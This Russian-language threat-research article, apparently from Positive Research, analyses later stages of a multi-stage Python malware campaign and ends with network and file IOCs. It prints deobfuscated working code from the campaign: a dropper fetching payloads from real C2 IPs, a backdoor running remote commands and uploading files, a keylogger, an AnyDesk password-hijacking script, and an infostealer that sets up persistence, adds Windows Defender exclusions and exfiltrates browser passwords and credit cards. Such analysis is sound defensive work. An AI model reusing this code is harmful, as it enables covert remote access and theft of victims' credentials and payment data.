Функция загружает полезную нагрузку — отправляет запрос на C2-сервер и создает URL (http://C2_IP:1224/payload/99/73) посредством конкатенации строк. Почему-то скрипт проверяет, является ли платформа жертвы macOS, хотя в обоих случаях один и тот же файл записывается в ~/.n2/pay/73. Учитывая комментарий в коде, я думаю, что изначально атакующие хотели сделать отдельную полезную нагрузку под macOS, но на момент  написания статьи сервер уже не работал, поэтому я не смог это проверить.

```python

if res:

if ot=="Windows":subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW | subprocess.CREATE_NEW_PROCESS_GROUP)

else:subprocess.Popen([sys.executable, ap])

if ot=="Darwin":sys.exit(-1)

ap = pd + "/bow"

```

Если функция download_payload() выполнена успешно, скрипт проверит ОС жертвы и запустит загруженную полезную нагрузку. Отмечу, что в случае macOS (Darwin) скрипт остановится после запуска полезной нагрузки следующего этапа. Соответственно: 

  • Жертвы с Windows и Linux получат 2 вредоносных скрипта.
  • Жертвы с macOS получат 1 вредоносный скрипт.

Далее дроппер создаст новый путь ~/.n2/bow. Этот каталог будет использоваться для загрузки следующей полезной нагрузки.

```python

def download_browse():

if os.path.exists(ap):

try:os.remove(ap)

except OSError:return True

try:

if not os.path.exists(pd):os.makedirs(pd)

except:pass

try:

aa=requests.get(host2+"/brow/"+ sType +"/"+gType, allow_redirects=True)

with open(ap, 'wb') as f:f.write(aa.content)

return True

except Exception as e:return False

res=download_browse()

if res:

if ot=="Windows":subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW | subprocess.CREATE_NEW_PROCESS_GROUP)

else:subprocess.Popen([sys.executable, ap])

```

Здесь устанавливается и запускается третья полезная нагрузка. Иронично, что JS-файл в первой стадии дропает на систему еще один дроппер!

Stage 3. Python-бэкдор

При открытии третьей полезной нагрузки мы вновь сталкиваемся с обфусцированным питоновским кодом. Схема та же: компрессия zlib + base64. Деобфусцируем и анализируем!

Скрипт представляет собой бэкдор, обеспечивающий злоумышленникам постоянный доступ к системе жертвы. Он устанавливает связь с C2-сервером, выполняет команды и собирает пользовательские данные. 

Основной флоу:

  • `contact_server` (класс `Trans`) — устанавливает связь с C2-сервером и отправляет системную информацию.
  • `get_info` (класс `SysInfo`) — собирает информацию о системе и сети жертвы.
  • `ssh_obj` (класс `Shell`) — выполняет команды, полученные от C2-сервера.
  • `ssh_upload` (класс `Shell`) — отвечает за загрузку файлов на C2-сервер.
  • `ssh_any` — еще одна полезная нагрузка (да сколько можно?!).
  • `hkb()` — кейлоггер.

Сервер, поговори со мной!

```python

PORT = 1224

HOST = '107.189.16.122'

if gType == "root":

hn = socket.gethostname()

else:

hn = gType + "_" + socket.gethostname()

class Trans(object):

def __init__(A):A.sys_info=SysInfo().get_info()

def contact_server(A,ip,port):

A.ip,A.port=ip,int(port);B=int(time.time()*1000);C={'ts':str(B),'type':sType,'hid':hn,'ss':'sys_info','cc':str(A.sys_info)};D=f"http://{A.ip}:{A.port}/keys"

try:post(D,data=C)

except Exception as e:pass

```

contact_server берет информацию об IP-адресе и порте, создает полезную нагрузку с меткой времени (ts), типом системы (type), идентификатором хоста (hid), статической строковой меткой (ss) и собранной системной информацией (cc). Все это отправляется POST-запросом в /keys на C2-сервер.

Сбор данных

```python

class SysInfo(object):

def __init__(A):A.net_info=Position().net_info();A.sys_info=HostInfo().sysinfo()

def parse(K,data):

J='regionName';I='country';H='query';G='city';F='isp';E='zip';D='lon';C='lat';B='timezone';_A='internalIp'

A=data;A={C:A[C]if C in A else'',D:A[D]if D in A else'',E:A[E]if E in A else'',F:A[F]if F in A else'',G:A[G]if G in A else'',H:A[H]if H in A else'',I:A[I]if I in A else'',B:A[B]if B in A else'',J:A[J]if J in A else'',_A:A[_A]if _A in A else''}

if'/'in A[B]:A[B]=A[B].replace('/',' ')

if'_'in A[B]:A[B]=A[B].replace('_',' ')

return A

def get_info(A):B=A.net_info;return{'sys_info':A.sys_info,'net_info':A.parse(B if B else[])}

```

Класс `SysInfo` объединяет данные от `HostInfo` (системная информация) и `Position` (сетевые данные).  

  • Метод `parse` обрабатывает сетевые данные — извлекает поля `lat`, `lon`, `city`, `isp` и заменяет отсутствующие значения пустыми строками. 
  • Метод `get_info` возвращает словарь с двумя ключами: `sys_info` (данные о системе) и `net_info` (очищенные сетевые данные). 

Таким образом, `SysInfo` получает полный набор данных о машине и сети жертвы в структурированном виде.

```python

def hkb(event):

if event.KeyID == 0xA2 or event.KeyID == 0xA3:

return _T

global e_buf

tt = check_window(event)

key = event.Ascii

if is_control_down():

key = f"<^{event.Key}>"

elif key == 0xD:

key = "\\\\n"

else:

if key >= 32 and key <= 126:

key = chr(key)

else:

key = f'<{event.Key}>'

tt += key

if is_control_down() and event.Key == 'C':

start_time = Timer(0.1, run_copy_clipboard)

start_time.start()

elif is_control_down() and event.Key == 'V':

start_time = Timer(0.1, run_copy_clipboard)

start_time.start()

e_buf += tt

return _T

```

Функция `hkb` — это кейлоггер. При вызове она принимает объект события клавиатуры и проверяет состояние клавиш. Если нажаты Ctrl+C или Ctrl+V, запускается таймер для захвата содержимого буфера обмена. При этом все события, включая переключение окон, записываются в глобальную переменную `e_buf`. 

Выполнение команд

```python

def ssh_obj(A, args):

o = ''

try:

a = args[_A]

cmd = args['cmd']

if cmd == '':

o = ''

elif cmd.split()[0] == 'cd':

proc = subprocess.Popen(cmd, shell=_T)

if len(cmd.split()) != 1:

p = ' '.join(cmd.split()[1:])

if os.path.exists(p):

os.chdir(p)

o = os.getcwd()

else:

proc = subprocess.Popen(cmd, shell=_T, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()

try:

o = decode_str(proc[0])

err = decode_str(proc[1])

except:

o = proc[0]

err = proc[1]

o = o if o else err

except:

pass

p = {_A: a, _O: o}

A.send(code=1, args=p)

```

Функция `ssh_obj` выполняет команды, полученные от C2-сервера, — обрабатывает `cd` для смены каталогов или запускает другие команды через `subprocess.Popen`, отправляя вывод обратно с кодом 1. Ошибки пропускаются.

Отправка собранной информации

```python

def ssh_upload(A, args):

o = ''

try:

D = args[_A]

cmd = args['cmd']

cmd = ast.literal_eval(cmd)

if 'sdir' in cmd:

sdir = cmd['sdir']

dn = cmd['dname']

A.ss_upd(D, cmd, sdir, dn)

return _T

elif 'sfile' in cmd:

sfile = cmd['sfile']

dn = cmd['dname']

A.ss_upf(D, cmd, sfile, dn)

return _T

elif 'sfind' in cmd:

dn = cmd['dname']

pat = cmd['sfind']

A.ss_ufind(D, cmd, dn, pat)

return _T

else:

A.ss_ups()

o = 'Stopped ...'

except Exception as e:

print("error_upload:", str(e))

o = f'Err4: {e}'

A.send_5(D, o)

```

Функция `ssh_upload` предназначена для загрузки файлов на C2-сервер. Она принимает параметры `admin` и `cmd`, а затем анализирует `cmd`, чтобы определить тип операции: загрузка директории, файла или поиск файлов по шаблону. После сбора необходимых данных о файлах функция отправляет их на сервер через POST-запрос на `http://C2_IP:1224/uploads`. 

Запуск AnyDesk

```python

def ssh_any(A, args):

try:

D = args[_A]

p = A.par_dir + "/adc"

res = A.down_any(p)

if res:

if os_type == "Windows":

subprocess.Popen([sys.executable, p], creationflags=subprocess.CREATE_NO_WINDOW|subprocess.CREATE_NEW_PROCESS_GROUP)

else:

subprocess.Popen([sys.executable, p])

o = os_type + ' get anydesk'

except Exception as e:

o = f'Err7: {e}'

p = {_A: D, _O: o}

A.send(code=7, args=p)

def down_any(A, p):

if os.path.exists(p):

try:

os.remove(p)

except OSError:

return _T

try:

if not os.path.exists(A.par_dir):

os.makedirs(A.par_dir)

except:

pass

host2 = f"http://{HOST}:{PORT}"

try:

myfile = requests.get(host2 + "/adc/" + sType, allow_redirects=_T)

with open(p, 'wb') as f:

f.write(myfile.content)

return _T

except Exception as e:

return _F

```

Функция `ssh_any` загружает и запускает дополнительный скрипт с C2-сервера по адресу http://C2_IP:1224/adc/73. При этом она исключает загрузку, если файл уже существует, и в случае необходимости создает нужную директорию. После успешной загрузки `ssh_any` запускает скрипт через subprocess.Popen и  возвращает статус операции или ошибку. 

Я вручную достал полезную нагрузку из С2-сервера, изучил ее и обнаружил, что она предназначена для  проведения манипуляций с AnyDesk. 

Stage 4. AnyDesk

Удивительно, но на этот раз мы видим необфусцированный Python-скрипт (за исключением строки, в которой указан хост). 

Основной флоу:

  • Скрипт проверяет ОС и определяет пути к конфигурационным файлам AnyDesk.
  • Декодирует обфусцированный адрес C2-сервера (host) с помощью base64 и формирует URL.
  • Загружает AnyDesk с сервера, если он отсутствует в системе, и запускает его для создания конфигурационных файлов.
  • Модифицирует конфигурации AnyDesk.
  • Отправляет содержимое конфигурационных файлов на C2-сервер (POST/keys).
  • Перезапускает AnyDesk для применения изменений.
  • Самоуничтожается.

```python

import base64,socket, os,platform,time,subprocess,requests,sys

os_type = platform.system()

appdata = os.getenv('LOCALAPPDATA')

host="LjE3LjI0OTUuMTY0"

#host=" AuMC4x MTI3Lj"

hn = socket.gethostname()

sType = "99"

host1 = base64.b64decode(host[8:] + host[:8]).decode()

host2 = f'http://{host1}:1224'

```

Переменная host содержит обфусцированный IP-адрес (95.164.17.24), который декодируется через base64 после перестановки символов. Это типичный метод сокрытия адреса C2-сервера. Здесь мы находим еще один IP-адрес и добавляем его в копилочку IOC’ов!

Загрузка Anydesk

```python

def get_anydesk_path():

try:

if os.path.exists(any_path): return any_path

import requests

myfile = requests.get(host2 + "/any", allow_redirects=True)

if not os.path.exists(home + '/anydesk.exe'):

with open(home + '/anydesk.exe', 'wb') as f: f.write(myfile.content)

return home + '/anydesk.exe'

except Exception as e:

return ""

```

Если на машине жертвы нет AnyDesk, скрипт загружает его с удаленного сервера и сохраняет в домашней директории.

Отправка данных

```python

def save_conf(fn, kind) -> bool:

if not os.path.exists(fn): return

buf = ''

try:

with open(fn, 'r') as f: buf = f.read(); f.close()

except: return

if buf == '': return

options = {'type': sType, 'hid': hn, 'ss': 'any' + str(kind), 'cc': buf}

url = host2 + '/keys'

try: requests.post(url, data=options)

except: return

```

Содержимое конфигурационных файлов отправляется на сервер с метаданными (type, hid, ss).

Обновление файлов конфигурации

```python

def update_conf(d_path):

if not os.path.exists(d_path):return False

try:

if "ad.anynet.pwd_salt=351535afd2d98b9a3a0e14905a60a345" in open(d_path, 'r').read():return False

in_f = open(d_path, 'r');out_f = open(d_path+"d", 'w')

for line in in_f.readlines():

if line.startswith("ad.anynet.pwd_hash=") or line.startswith("ad.anynet.pwd_salt=") or line.startswith("ad.anynet.token_salt="):

continue

elif line.strip():

out_f.write(line+"\n")

out_f.write("ad.anynet.pwd_hash=967adedce518105664c46e21fd4edb02270506a307ea7242fa78c1cf80baec9d\n")

out_f.write("ad.anynet.pwd_salt=351535afd2d98b9a3a0e14905a60a345\n")

out_f.write("ad.anynet.token_salt=e43673a2a77ed68fa6e8074167350f8f\n")

out_f.close();in_f.close()

os.remove(d_path);os.rename(d_path+"d", d_path)

return True

# print(d_path, "with python")

except:

try:

ps1_path = home + "/conf.ps1"

with open(ps1_path, 'w') as f:f.write("$file_path = '"+ d_path+"'\n");f.write(anydesk_ps1)

subprocess.check_output('''powershell -NoProfile -ExecutionPolicy Bypass -Command "Start-Process -Verb RunAs powershell -WindowStyle Hidden -ArgumentList '-NoProfile -ExecutionPolicy Bypass -File {}'"'''.format(ps1_path))

return True

# print(d_path,"with ps1 end")

except Exception as e:return False

# print(e)

res1 = update_conf(conf_path1)

res2 = update_conf(conf_path2)

```

Функция `update_conf()` обновляет конфигурационный файл. Она проверяет, существует ли он и содержит ли нужную строку с определенной солью пароля. Если строка найдена, функция завершает работу. Если нет, функция создает новый файл без старых паролей/токенов и добавляет в конец новые значения. Возвращает `True` при успешном обновлении и `False` в случае ошибки.

Перезапуск и самоуничтожение

```python

def restart_anydesk():

global anydesk_path

try:

PROCNAME = "anydesk.exe" if os_type=="Windows" else "anydesk"

if os_type != "Windows":

try:import psutil

except:subprocess.check_call([sys.executable,'-m','pip','install','psutil'])

anydesk_path='anydesk'

for proc in psutil.process_iter():

if proc.name().lower() == PROCNAME:proc.kill()

else:subprocess.check_output("taskkill /F /IM anydesk.exe")

time.sleep(1)

# print("run anydesk secondly")

subprocess.Popen([anydesk_path])

except Exception as e:pass

# print(e)

save_conf(conf_path1, 1)

save_conf(conf_path2, 2)

restart_anydesk()

dir = os.getcwd();fn=os.path.join(dir,sys.argv[0]);os.remove(fn)

``

После изменения конфигурации AnyDesk перезапускается, а скрипт самоуничтожается. 

Теперь мы можем приступить к анализу финального скрипта.

Stage 5. Tsunami

Python-скрипт Tsunami — это инфостилер, который крадет логины и данные кредитных карт из браузеров (Chrome, Brave, Opera, Yandex и Edge) на Windows, macOS или Linux. Он устанавливает в системе Python (если его нет), обеспечивает персистентность через задачи планировщика и обходит Windows Defender. В скрипте используется двойная обфускация — уже знакомые нам zlib и base64. 
Эта полезная нагрузка доходит только до Windows и Linux. На macOS она даже не устанавливается (с учетом условий дроппера на второй стадии).

TSUNAMI_INJECTOR_SCRIPT

TSUNAMI_INJECTOR_SCRIPT — Python-скрипт, хранящийся в виде строки в основном коде. На Windows он обфусцируется (через `obfuscate_script()`) и записывается в автозагрузку (`%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\Windows Update Script.pyw`) для выполнения при запуске системы. На Linux автозагрузка не работает.

Основной флоу:

  • `install_python()` — проверяет наличие Python в системе.
  • `create_task()` — устанавливает задачу для персистентности.
  • `add_windows_defender_exception()`  — добавляет пути в исключения Windows Defender.
  • `retrieve_database()`  — извлекает логины из браузеров
  • `retrieve_web()`  — извлекает данные кредитных карт из браузеров
  • `save()` — отправляет украденные данные на C2-сервер.

```python

PYTHON_INSTALLER_URL = "https://www.python.org/ftp/python/3.11.0/python-3.11.0-amd64.exe"

```

```python

def install_python() -> None:

py_installer_path = tempfile.NamedTemporaryFile(delete=False).name + ".exe"

download_file(PYTHON_INSTALLER_URL, py_installer_path)

while True:

time.sleep(random.uniform(10, 30))

if execute_python_with_uac(py_installer_path):

output("[+] The Python installer ran successfully")

break

else:

output("[-] User rejected UAC, retrying...")

```

Функция загружает Python 3.11 с официального сайта и устанавливает его с UAC-промптом. 

Персистенс

```python

def create_task() -> None:

powershell_script = f\"\"\"

$Action = New-ScheduledTaskAction -Execute "{TSUNAMI_INSTALLER_PATH}"

$Trigger = New-ScheduledTaskTrigger -AtLogOn

$Principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -LogonType Interactive

$Principal.RunLevel = 1

$Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -DontStopOnIdleEnd

Register-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings -TaskName "Runtime Broker"

\"\"\"

```

Функция создает задачу планировщика Runtime Broker для запуска Runtime Broker.exe при входе в систему.

```python

def add_windows_defender_exception(filepath: str) -> None:

try:

subprocess.run(

["powershell.exe", f"Add-MpPreference -ExclusionPath '{filepath}'"],

shell = True,

creationflags = subprocess.CREATE_NO_WINDOW,

stdout = subprocess.PIPE,

stderr = subprocess.PIPE,

stdin = subprocess.PIPE

)

output(f"Added a new file to the Windows Defender exception")

except Exception as e:

output(f"[-] Failed to add Windows Defender exception: {e}")

```

Функция добавляет пути в исключения Windows-дефендера через Powershell.

Кража данных

```python

def retrieve_database(self) -> list:

"""

Retrieve all the information from the databases with encrypted values.

"""

temp_path = (home + "/AppData/Local/Temp") if self.target_os == "Windows" else "/tmp"

database_paths, keys = self.database_paths, self.keys

try:

for database_path in database_paths: # Iterate on each available database

# Copy the file to the temp directory as the database will be locked if the browser is running

filename = os.path.join(temp_path, "LoginData.db")

shutil.copyfile(database_path, filename)

db = sqlite3.connect(filename) # Connect to database

cursor = db.cursor() # Initialize cursor for the connection

# Get data from the database

cursor.execute(

"select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created"

)

# Set default values. Some of the values from the database are not filled.

creation_time = "unknown"

last_time_used = "unknown"

try:

key = keys[database_paths.index(database_path)]

except:

key = keys[0]

# Iterate over all the rows

for row in cursor.fetchall():

origin_url = row[0]

action_url = row[1]

username = row[2]

encrypted_password = row[3]

created = row[4]

lastused = row[5]

# Decrypt password

if self.target_os == "Windows":

password = self.decrypt_windows_password(encrypted_password, key)

elif self.target_os == "Linux" or self.target_os == "Darwin":

password = self.decrypt_unix_password(encrypted_password, key)

else:

password = ""

if password == "" and not self.blank_passwords:

continue

if created and created != 86400000000:creation_time = str(self.__class__.get_datetime(created))

if lastused and lastused != 86400000000:last_time_used = self.__class__.get_datetime(lastused)

# Append all values to list

self.values.append(dict(origin_url=origin_url,action_url=action_url,username=username,password=password,creation_time=creation_time,last_time_used=last_time_used))

cursor.close();db.close()

try:os.remove(filename)

except OSError:pass

return self.values

except Exception as E:return []

```

Функция крадет сохраненные учетные данные из браузеров жертвы, копирует файлы Login Data во временный каталог и запрашивает их с помощью SQLite (URL-адреса, имена пользователей, пароли). Также она пытается расшифровать пароли на основе ОС (они могут быть зашифрованы — в зависимости от ОС, на которой работает браузер).

Отмечу, что хотя скрипт не загружается на macOS, он все равно частично ориентирован на эти ОС. 

```python

def retrieve_web(self):

web_paths, keys = self.brw_paths, self.keys

temp_path = (home + "/AppData/Local/Temp") if self.target_os == "Windows" else "/tmp"

try:

for web_path in web_paths:

filename = os.path.join(temp_path, "webdata.db")

shutil.copyfile(web_path, filename)

conn = sqlite3.connect(filename)

cursor = conn.cursor()

cursor.execute(

'SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified FROM credit_cards'

)

for row in cursor.fetchall():

if not row[0] or not row[1] or not row[2] or not row[3]:

continue

if self.target_os == "Windows":

card_number = self.decrypt_windows_password(row[3], key)

elif self.target_os == "Linux" or self.target_os == "Darwin":

card_number = self.decrypt_unix_password(row[3], key)

else:

card_number = ""

if card_number == "" and not self.blank_passwords:

continue

self.webs.append(dict(name_on_card=row[0], expiration_month=row[1], expiration_year=row[2], card_number=card_number, date_modified=row[4]))

cursor.close()

conn.close()

try:

os.remove(filename)

except OSError:

pass

except Exception as E:

return []

```

Функция крадет информацию о кредитных картах из webdata.db: зашифрованные номера, имена владельцев, сроки действия и т. д. Кроме того, она расшифровывает украденные номера карт.

```python

def save(self, fn: Union[Path, str], filepath: Union[Path, str], blank_file: bool = False, verbose: bool = True) -> bool:

content = filepath + '\n' + self.pretty_print()

options = {'ts': str(ts),'type': sType,'hid': hn,'ss': str(fn),'cc': content}

url = host2+'/keys'

try:requests.post(url, data=options)

except:return ""

```

Наконец, функция `save()` отправляет все собранные данные на C2-сервер через POST-запрос. 

Инфраструктура атаки

В первоначальной версии кампании злоумышленники проводили атаки с одним IP-адресом. Он служил и C2-сервером, и сервером для хранения полезной нагрузки, а также был задействован в манипуляциях с AnyDesk. Однако в данный момент атаки проводятся с использованием трех адресов:

  • 107.189.16.122 — C2-сервер;
  • 144.172.103.97 — сервер с файлами полезной нагрузки;
  • 95.164.17.24 — сервер для полезной нагрузки с AnyDesk.

Некоторые вендоры анализировали самые ранние версии этой вредоносной кампании. На VirusTotal один из IP-адресов помечен меткой Lazarus.

Рисунок 4. VirusTotal связывает один из IP-адресов с Lazarus

Однако большинство IoC’ов вендоры пропустили (см. рис. 5).

Рисунок 5. IoC на VirusTotal

IOC (Indicators of Compromise)

Сеть

  • 107.189.16.122
  • 144.172.103.97
  • 95.164.17.24

Файловая система

  • pay99_73.py
  • brow99_73.py
  • any99_73.py
  • ~/.n3/
  • ~/.npl
  • tmpDir/p.zi
  • tmpDir/p2.zip

Хеш-суммы полезной нагрузки (старые версии + новые)

  • 04cc30ea566af31abc2fdced5f9503aab30550373124d47985fbab19ace2caa8
  • 38043c5f9be51892b0f15e23a84d6f71bbe8004a422af163f9d7ff235390aa48
  • b4744db40ab3cf89f511762271f183bdabacf5a81021f6ead1ce37e14c86c5f0
  • 08e921670342b481fe3881cfec13bf7ba247b1f504a6cd0fd11a50a0b2c569c7
  • d39255e3f3a242cb1ba87f4b58e1b38aa64aeaa2771e5d77b5290ed555cc1cba
  • 8b8c5d555c93e42a9964410997b49a4694330f98e1de49d0a24e922b584570f4
  • b3c3cc0a9b2dc5d680590a81e5b3c45e015fb04a67151a11f1cccbcf352718bd

На моем GitHub можно найти все файлы, связанные с новым вредоносом.

P.S. Статья носит исключительно информационный характер и не является инструкцией или призывом к совершению противоправных действий. Автор не несет ответственности за использование опубликованной информации. Помните, что нужно следить за защищенностью своих данных.

Мы дěлаем Positive Research → для ИБ-экспертов, бизнеса и всех, кто интересуется ✽ {кибербезопасностью}